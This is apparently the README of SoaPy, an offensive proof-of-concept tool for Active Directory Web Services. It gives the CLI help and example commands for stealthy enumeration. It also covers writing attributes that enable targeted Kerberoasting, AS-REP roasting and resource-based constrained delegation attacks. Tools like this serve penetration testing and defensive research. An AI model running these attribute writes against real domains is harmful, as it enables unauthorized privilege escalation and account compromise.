Description

SoaPy is a Proof of Concept (PoC) tool for conducting offensive interaction with Active Directory Web Services (ADWS) from Linux hosts. SoaPy includes previously undeveloped custom python implementations of a collection of Microsoft protocols required for interaction with the ADWS service. This includes but is not limited to: NNS (.NET NegotiateStream Protocol), NMF (.NET Message Framing Protocol), and NBFSE (.NET Binary Format: SOAP Extension).

SoaPy can be primarily utilized to interact with ADWS for stealthy enumeration over a proxy into an internal Active Directory environment. Additionally SoaPy can perform targeted exploitation over ADWS, including servicePrincipalName writing for targeted Kerberoasting, DON’T_REQ_PREAUTH writing for targeted ASREP-Roasting, and the ability to write to msDs-AllowedToActOnBehalfOfOtherIdentity for Resource-Based Constrained Delegation attacks.

             connection

Enumerate and write LDAP objects over ADWS using the SOAP protocol

positional arguments:
  connection            domain/username[:password]@<targetName or address>

options:
  -h, --help            show this help message and exit
  --debug               Turn DEBUG output ON
  --ts                  Adds timestamp to every logging output.
  --hash nthash         Use an NT hash for authentication

Enumeration:
  --users               Enumerate user objects
  --computers           Enumerate computer objects
  --groups              Enumerate group objects
  --constrained         Enumerate objects with the msDS-AllowedToDelegateTo attribute set
  --unconstrained       Enumerate objects with the TRUSTED_FOR_DELEGATION flag set
  --spns                Enumerate accounts with the servicePrincipalName attribute set
  --asreproastable      Enumerate accounts with the DONT_REQ_PREAUTH flag set
  --admins              Enumerate high privilege accounts
  --rbcds               Enumerate accounts with msDs-AllowedToActOnBehalfOfOtherIdentity set
  -q query, --query query
                        Raw query to execute on the target
  --filter attr,attr,...
                        Attributes to select from the objects returned, in a comma seperated list

Writing:
  --rbcd source         Operation to write or remove RBCD. Also used to pass in the source computer account used for the attack.
  --spn value           Operation to write the servicePrincipalName attribute value, writes by default unless "--remove" is specified
  --asrep               Operation to write the DONT_REQ_PREAUTH (0x400000) userAccountControl flag on a target object
  --account account     Account to preform an operation on
  --remove              Operarion to remove an attribute value based off an operation

Installation

With pipx:

pipx install .

With poetry:

poetry install

Example Usage

Enumerate users using preset enumeration flags:

soapy <domain>/<user>:'<password>'@<ip> --users

Enumerate computers samAccountName and objectSid using a custom query/attribute filtering:

soapy <domain>/<user>:'<password>'@<ip> --query '(objectClass=computer)' --filter "samaccountname,objectsid"

Write msDs-AllowedToActOnBehalfOfOtherIdentity on DC01, enabling delegation from MS01 for an RBCD attack:

soapy <domain>/<user>:'<password>'@<ip> --rbcd 'MS01$' --account 'DC01$'

Write the servicePrincipalName attribute on jdoe as part of a targeted Kerberoasting attack:

soapy <domain>/<user>:'<password>'@<ip> --spn test/spn --account jdoe

Write DONT_REQ_PREAUTH (0x400000) on jdoe's userAccountControl attribute, making the account ASREP-Roastable:

soapy <domain>/<user>:'<password>'@<ip> --asrep --account jdoe
